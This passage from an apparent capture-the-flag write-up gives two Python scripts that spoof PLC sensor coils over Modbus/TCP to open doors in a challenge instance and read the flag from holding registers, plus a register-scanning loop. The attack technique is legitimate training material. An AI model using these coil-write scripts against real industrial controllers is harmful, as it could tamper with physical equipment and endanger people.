        set_sensor_value(sock, slave_id, "sensor_5", True)
        set_sensor_value(sock, slave_id, "system_active", True)
        sleep(12)
        sensor_values = read_sensor_values(sock, slave_id)

    reset_all_sensors(sock, slave_id)
    sensor_values = read_sensor_values(sock, slave_id)

def read_coils(sock, unit_id, address):
    """Read coils.
    Return ADU for Modbus function code 01: Read Coils
    Coils are 1-bit registers, are used to control discrete outputs, and may be read or written.
    """
    quantity = 1  # Number of coils to read
    print(
        f"[*](unit: {unit_id}, addr: {address}) Attempting to read coils ...")
    request = tcp.read_coils(
        slave_id=unit_id, starting_address=address, quantity=quantity)
    response = tcp.send_message(request, sock)
    coil_bin = "".join(str(bit) for bit in response)
    coil_int = int(coil_bin, 2)
    coil_ascii = chr(coil_int)
    print(
        f"[+](unit: {unit_id}, addr: {address}) Coils -  {coil_int} | {coil_bin} | {coil_ascii}")
    return coil_ascii

def read_discrete_input(sock, unit_id, address):
    """Read discrete input.
    Return ADU for Modbus function code 02: Read Discrete Input.
    Discrete Inputs are 1-bit registers used as inputs, and may only be read.
    """
    quantity = 1  # Number of discretes to read
    print(
        f"[*](unit: {unit_id}, addr: {address}) Attempting to read coils ...")
    request = tcp.read_discrete_inputs(
        slave_id=unit_id, starting_address=address, quantity=quantity)
    response = tcp.send_message(request, sock)
    coil_bin = "".join(str(bit) for bit in response)
    coil_int = int(coil_bin, 2)
    coil_ascii = chr(coil_int)
    print(
        f"[+](unit: {unit_id}, addr: {address}) Coils -  {coil_int} | {coil_bin} | {coil_ascii}")
    return coil_ascii

def read_holding_registers(sock, unit_id, address):
    """Read holding registers.
    Return ADU for Modbus function code 03: Read Holding Registers.
    Holding registers are the most universal 16-bit register, may be read or written, and may be used for a variety of things including inputs, outputs, configuration data, or any requirement for "holding" data.
    """
    quantity = 1  # Number of registers to read
    print(
        f"[*](unit: {unit_id}, addr: {address}) Attempting to read holding registers ...")
    request = tcp.read_holding_registers(
        slave_id=unit_id, starting_address=address, quantity=quantity)
    response = tcp.send_message(request, sock)
    coil_ascii = "".join(chr(integer) for integer in response)
    print(
        f"[+](unit: {unit_id}, addr: {address}) Holding Registers - {response} | {coil_ascii}")
    return coil_ascii

def read_input_registers(sock, unit_id, address):
    """Read input registers.
    Return ADU for Modbus function code 04: Read Input Registers.
    Input registers are 16-bit registers used for input, and may only be read. Holding registers are the most universal 16-bit register, may be read or written, and may be used for a variety of things including inputs, outputs, configuration data, or any requirement for "holding" data.
    """
    print(
        f"[*](unit: {unit_id}, addr: {address}) Attempting to read input registers ...")
    quantity = 1  # Number of input registers to read
    request = tcp.read_input_registers(
        slave_id=unit_id, starting_address=address, quantity=quantity)
    response = tcp.send_message(request, sock)
    coil_ascii = "".join(chr(integer) for integer in response)
    print(
        f"[+](unit: {unit_id}, addr: {address}) Input Registers - {response} | {coil_ascii}")
    return coil_ascii

def read_flag(sock, unit_id):
    print("[*] Reading the flag ...")
    out = ""
    for address in range(4, 100):
        out += read_holding_registers(sock, unit_id, address)
        sleep(0.1)
    print(out)

###################################################
# MAIN
###################################################

# Modbus coil addresses for doors
# QX1.2 -> address = 1*8 + 2
ADDRESSES = {
    "door_0":        32,  # 4*8+0 %Q4.0
    "door_1":        33,  # 4*8+1 %Q4.1
    "door_2":        34,  # 4*8+2 %Q4.2
    "door_3":        35,  # 4*8+3 %Q4.3
    "door_4":        36,  # 4*8+4 %Q4.4
    "sensor_0":      64,  # 8*8+0 %QX8.0
    "sensor_1":      65,  # 8*8+1 %QX8.1
    "sensor_2":      66,  # 8*8+2 %QX8.2
    "sensor_3":      67,  # 8*8+3 %QX8.3
    "sensor_4":      68,  # 8*8+4 %QX8.4
    "sensor_5":      296,  # 37*8+0 %QX37.0
    "sensor_6":      297,  # 37*8+1 %QX37.1
    "sensor_7":      298,  # 37*8+2 %QX37.2
    "sensor_8":      299,  # 37*8+3 %QX37.3
    "sensor_9":      300,  # 37*8+4 %QX37.4
    "sensor_10":     416,  # 52*8+0 %QX52.0
    "sensor_11":     422,  # 52*8+6 %QX52.6
    "sensor_12":     134,  # 16*8+6 %QX16.6
    "sensor_13":     135,  # 16*8+7 %QX16.7
    "sensor_14":     128,  # 16*8+0 %QX16.0
    "system_active": 602,  # 75*8+2 %QX75.2
}

# Change to the dockers instance
DOCKER_IP = "94.237.62.195"
DOCKER_PORT = 33541

SLAVE_ID = 1  # unit_id

# Connect to modbus
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((DOCKER_IP, DOCKER_PORT))

# Open doors based on sensor values
open_doors(sock, SLAVE_ID)

# Read flag
read_flag(sock, SLAVE_ID)

exit()

# Loop through all addresses and send the modbus request
unit_id = 1
for address in range(0, 300):
    try:
        read_coils(sock, unit_id, address)
    except:
        pass
    sleep(0.1)
    try:
        read_holding_registers(sock, unit_id, address)
    except:
        pass
    sleep(0.1)
    try:
        read_input_registers(sock, unit_id, address)
    except:
        pass
    sleep(0.1)

exit()

class Terminal(Cmd):
    prompt = "> "

    def __init__(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect((DOCKER_IP, DOCKER_PORT))
        Cmd.__init__(self)

    def do_readcoils(self, args):
        slave_id = 52  # Unit identifier
        starting_address = 1
        quantity = 1  # Number of coils to read

        # Send the Modbus request
        request = tcp.read_holding_registers(
            slave_id=slave_id, starting_address=starting_address, quantity=quantity)
        response = tcp.send_message(request, self.sock)
        coil_ascii = chr(int("".join(str(bit) for bit in response), 2))
        print(f"Coil value: {coil_ascii}")

    def do_exit(self, args):
        # Close the connection
        self.sock.close()
        exit()

    def default(self, args):
        if parts[0] == "write_coil":
            address = int(parts[1])  # Coil address
            value = bool(int(parts[2]))  # Coil value (0 or 1)

            # Build the Modbus request
            request = tcp.write_single_coil(address, value)

            # Send the request to the network
            tcp.send_message(request, self.sock)

            print("Coil write command sent.")

        else:
            print("Invalid command.")

terminal = Terminal()
terminal.cmdloop()

breached-sol.py

This is the cleaned-up solution script. It is functionally the same door-opening sequence as above but adds a VERBOSE toggle to silence the per-coil output, and the read_flag function stops as soon as it hits an empty register so it does not loop over the trailing zeros.

#!/usr/bin/env python3

# Imports
from cmd import Cmd
import socket
from umodbus import conf
from umodbus.client import tcp
from time import sleep
from sys import exit

# Adjust modbus configuration
conf.SIGNED_VALUES = True

# Verbose output
VERBOSE = False

# Modbus coil addresses for doors
# QX1.2 -> address = 1*8 + 2
ADDRESSES = {
    "door_0":        32,  # 4*8+0 %Q4.0
    "door_1":        33,  # 4*8+1 %Q4.1
    "door_2":        34,  # 4*8+2 %Q4.2
    "door_3":        35,  # 4*8+3 %Q4.3
    "door_4":        36,  # 4*8+4 %Q4.4
    "sensor_0":      64,  # 8*8+0 %QX8.0
    "sensor_1":      65,  # 8*8+1 %QX8.1
    "sensor_2":      66,  # 8*8+2 %QX8.2
    "sensor_3":      67,  # 8*8+3 %QX8.3
    "sensor_4":      68,  # 8*8+4 %QX8.4
    "sensor_5":      296,  # 37*8+0 %QX37.0
    "sensor_6":      297,  # 37*8+1 %QX37.1
    "sensor_7":      298,  # 37*8+2 %QX37.2
    "sensor_8":      299,  # 37*8+3 %QX37.3
    "sensor_9":      300,  # 37*8+4 %QX37.4
    "sensor_10":     416,  # 52*8+0 %QX52.0
    "sensor_11":     422,  # 52*8+6 %QX52.6
    "sensor_12":     134,  # 16*8+6 %QX16.6
    "sensor_13":     135,  # 16*8+7 %QX16.7
    "sensor_14":     128,  # 16*8+0 %QX16.0
    "system_active": 602,  # 75*8+2 %QX75.2
}

# Change to the dockers instance
DOCKER_IP = "83.136.254.230"
DOCKER_PORT = 43419

SLAVE_ID = 1  # unit_id

def reset_all_sensors(sock, slave_id):
    # Reset all sensors
    print("[*] Resetting sensors ...")
    for key in ADDRESSES.keys():
        if not key.startswith("door"):  # cannot set doors
            set_sensor_value(sock, slave_id, key, False, print_flag=False)

def read_sensor_values(sock, slave_id):
    # Read sensor values from Modbus
    print(f"[*] Reading sensor values ...")
    sensor_values = {}
    for key, address in ADDRESSES.items():
        request = tcp.read_coils(
            slave_id=slave_id, starting_address=address, quantity=1)
        response = tcp.send_message(request, sock)
        sensor_values[key] = response[0]
    for key, value in sensor_values.items():
        if VERBOSE:
            print(f"  {key} = {bool(value)}")
    return sensor_values

def set_sensor_value(sock, slave_id, sensor, value, print_flag=True):
    if print_flag:
        print(f"  Setting {sensor} => {value} ...")
    request = tcp.write_single_coil(
        slave_id=slave_id, address=ADDRESSES[sensor], value=value)
    response = tcp.send_message(request, sock)
    sleep(0.1)
    return response

def open_doors(sock, slave_id):
    reset_all_sensors(sock, slave_id)
    sensor_values = read_sensor_values(sock, slave_id)

    while not sensor_values["door_3"]:
        # TON3(IN := NOT(Door_4) AND NOT(Door_1) AND NOT(Door_2) AND NOT(Door_0) AND sensor_13 AND sensor_12 AND NOT(sensor_11) AND sensor_10 AND system_active, PT := T#5000ms);
        print("[*] Opening door 3 ...")
        set_sensor_value(sock, slave_id, "sensor_13", True)
        set_sensor_value(sock, slave_id, "sensor_12", True)
        set_sensor_value(sock, slave_id, "sensor_11", False)
        set_sensor_value(sock, slave_id, "sensor_10", True)
        set_sensor_value(sock, slave_id, "system_active", True)
        sleep(12)
        sensor_values = read_sensor_values(sock, slave_id)

    reset_all_sensors(sock, slave_id)
    sensor_values = read_sensor_values(sock, slave_id)

    while not sensor_values["door_0"]:
        # TON0(IN := NOT(Door_4) AND NOT(Door_3) AND NOT(Door_2) AND NOT(Door_1) AND sensor_4 AND NOT(sensor_2) AND sensor_1 AND sensor_0 AND system_active, PT := T#8000ms);
        print("[*] Opening door 0 ...")
        set_sensor_value(sock, slave_id, "sensor_4", True)
        set_sensor_value(sock, slave_id, "sensor_2", False)
        set_sensor_value(sock, slave_id, "sensor_1", True)
        set_sensor_value(sock, slave_id, "sensor_0", True)
        set_sensor_value(sock, slave_id, "system_active", True)
        sleep(12)
        sensor_values = read_sensor_values(sock, slave_id)

    reset_all_sensors(sock, slave_id)
    sensor_values = read_sensor_values(sock, slave_id)

    while not sensor_values["door_4"]:
        # TON4(IN := NOT(Door_1) AND NOT(Door_3) AND NOT(Door_2) AND NOT(Door_0) AND sensor_14 AND sensor_13 AND sensor_12 AND sensor_10 AND system_active, PT := T#8000ms);
        print("[*] Opening door 4 ...")
        set_sensor_value(sock, slave_id, "sensor_14", True)
        set_sensor_value(sock, slave_id, "sensor_13", True)
        set_sensor_value(sock, slave_id, "sensor_12", True)
        set_sensor_value(sock, slave_id, "sensor_11",
                         True)  # Confliction w/ door 3
        set_sensor_value(sock, slave_id, "sensor_10", True)
        set_sensor_value(sock, slave_id, "system_active", True)
        sleep(12)
        sensor_values = read_sensor_values(sock, slave_id)

    reset_all_sensors(sock, slave_id)
    sensor_values = read_sensor_values(sock, slave_id)

    while not sensor_values["door_1"]:
        # TON1(IN := NOT(Door_4) AND NOT(Door_3) AND NOT(Door_2) AND NOT(Door_0) AND sensor_7 AND NOT(sensor_6) AND sensor_5 AND sensor_0 AND system_active, PT := T#5000ms);
        print("[*] Opening door 1 ...")
        set_sensor_value(sock, slave_id, "sensor_7", True)
        set_sensor_value(sock, slave_id, "sensor_6", False)
        set_sensor_value(sock, slave_id, "sensor_5", True)
        set_sensor_value(sock, slave_id, "sensor_0", True)
        set_sensor_value(sock, slave_id, "system_active", True)
        sleep(12)
        sensor_values = read_sensor_values(sock, slave_id)

    reset_all_sensors(sock, slave_id)
    sensor_values = read_sensor_values(sock, slave_id)

    while not sensor_values["door_2"]:
        # TON2(IN := NOT(Door_4) AND NOT(Door_3) AND NOT(Door_1) AND NOT(Door_0) AND sensor_11 AND NOT(sensor_7) AND sensor_10 AND sensor_5 AND system_active, PT := T#8000ms);
        print("[*] Opening door 2 ...")
        set_sensor_value(sock, slave_id, "sensor_11", True)
        set_sensor_value(sock, slave_id, "sensor_7", False)
        set_sensor_value(sock, slave_id, "sensor_10", True)
        set_sensor_value(sock, slave_id, "sensor_5", True)
        set_sensor_value(sock, slave_id, "system_active", True)
        sleep(12)
        sensor_values = read_sensor_values(sock, slave_id)

    reset_all_sensors(sock, slave_id)
    sensor_values = read_sensor_values(sock, slave_id)

def read_coils(sock, unit_id, address):
    """Read coils.
    Return ADU for Modbus function code 01: Read Coils
    Coils are 1-bit registers, are used to control discrete outputs, and may be read or written.
    """
    quantity = 1  # Number of coils to read
    if VERBOSE:
        print(
        f"[*](unit: {unit_id}, addr: {address}) Attempting to read coils ...")
    request = tcp.read_coils(
        slave_id=unit_id, starting_address=address, quantity=quantity)
    response = tcp.send_message(request, sock)
    coil_bin = "".join(str(bit) for bit in response)
    coil_int = int(coil_bin, 2)
    coil_ascii = chr(coil_int)
    if VERBOSE:
        print(
        f"[+](unit: {unit_id}, addr: {address}) Coils -  {coil_int} | {coil_bin} | {coil_ascii}")
    return coil_ascii

def read_discrete_input(sock, unit_id, address):
    """Read discrete input.
    Return ADU for Modbus function code 02: Read Discrete Input.
    Discrete Inputs are 1-bit registers used as inputs, and may only be read.
    """
    quantity = 1  # Number of discretes to read
    if VERBOSE:
        print(
        f"[*](unit: {unit_id}, addr: {address}) Attempting to read coils ...")
    request = tcp.read_discrete_inputs(
        slave_id=unit_id, starting_address=address, quantity=quantity)
    response = tcp.send_message(request, sock)
    coil_bin = "".join(str(bit) for bit in response)
    coil_int = int(coil_bin, 2)
    coil_ascii = chr(coil_int)
    if VERBOSE:
        print(
        f"[+](unit: {unit_id}, addr: {address}) Coils -  {coil_int} | {coil_bin} | {coil_ascii}")
    return coil_ascii

def read_holding_registers(sock, unit_id, address):
    """Read holding registers.
    Return ADU for Modbus function code 03: Read Holding Registers.
    Holding registers are the most universal 16-bit register, may be read or written, and may be used for a variety of things including inputs, outputs, configuration data, or any requirement for "holding" data.
    """
    quantity = 1  # Number of registers to read
    if VERBOSE:
        print(
        f"[*](unit: {unit_id}, addr: {address}) Attempting to read holding registers ...")
    request = tcp.read_holding_registers(
        slave_id=unit_id, starting_address=address, quantity=quantity)
    response = tcp.send_message(request, sock)
    coil_ascii = "".join(chr(integer) for integer in response)
    if VERBOSE:
        print(
        f"[+](unit: {unit_id}, addr: {address}) Holding Registers - {response} | {coil_ascii}")
    return coil_ascii

def read_input_registers(sock, unit_id, address):
    """Read input registers.
    Return ADU for Modbus function code 04: Read Input Registers.
    Input registers are 16-bit registers used for input, and may only be read. Holding registers are the most universal 16-bit register, may be read or written, and may be used for a variety of things including inputs, outputs, configuration data, or any requirement for "holding" data.
    """
    if VERBOSE:
        print(
        f"[*](unit: {unit_id}, addr: {address}) Attempting to read input registers ...")
    quantity = 1  # Number of input registers to read
    request = tcp.read_input_registers(
        slave_id=unit_id, starting_address=address, quantity=quantity)
    response = tcp.send_message(request, sock)
    coil_ascii = "".join(chr(integer) for integer in response)
    if VERBOSE:
        print(
        f"[+](unit: {unit_id}, addr: {address}) Input Registers - {response} | {coil_ascii}")
    return coil_ascii

def read_flag(sock, unit_id):
    print("[*] Reading the flag ...")
    out = ""
    for address in range(4, 100):
        value = read_holding_registers(sock, unit_id, address)
        if not value:
            break
        out += value
        sleep(0.1)
    print(out)

###################################################
# MAIN
###################################################

# Connect to modbus
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((DOCKER_IP, DOCKER_PORT))

# Open doors based on sensor values
open_doors(sock, SLAVE_ID)

# Read flag
read_flag(sock, SLAVE_ID)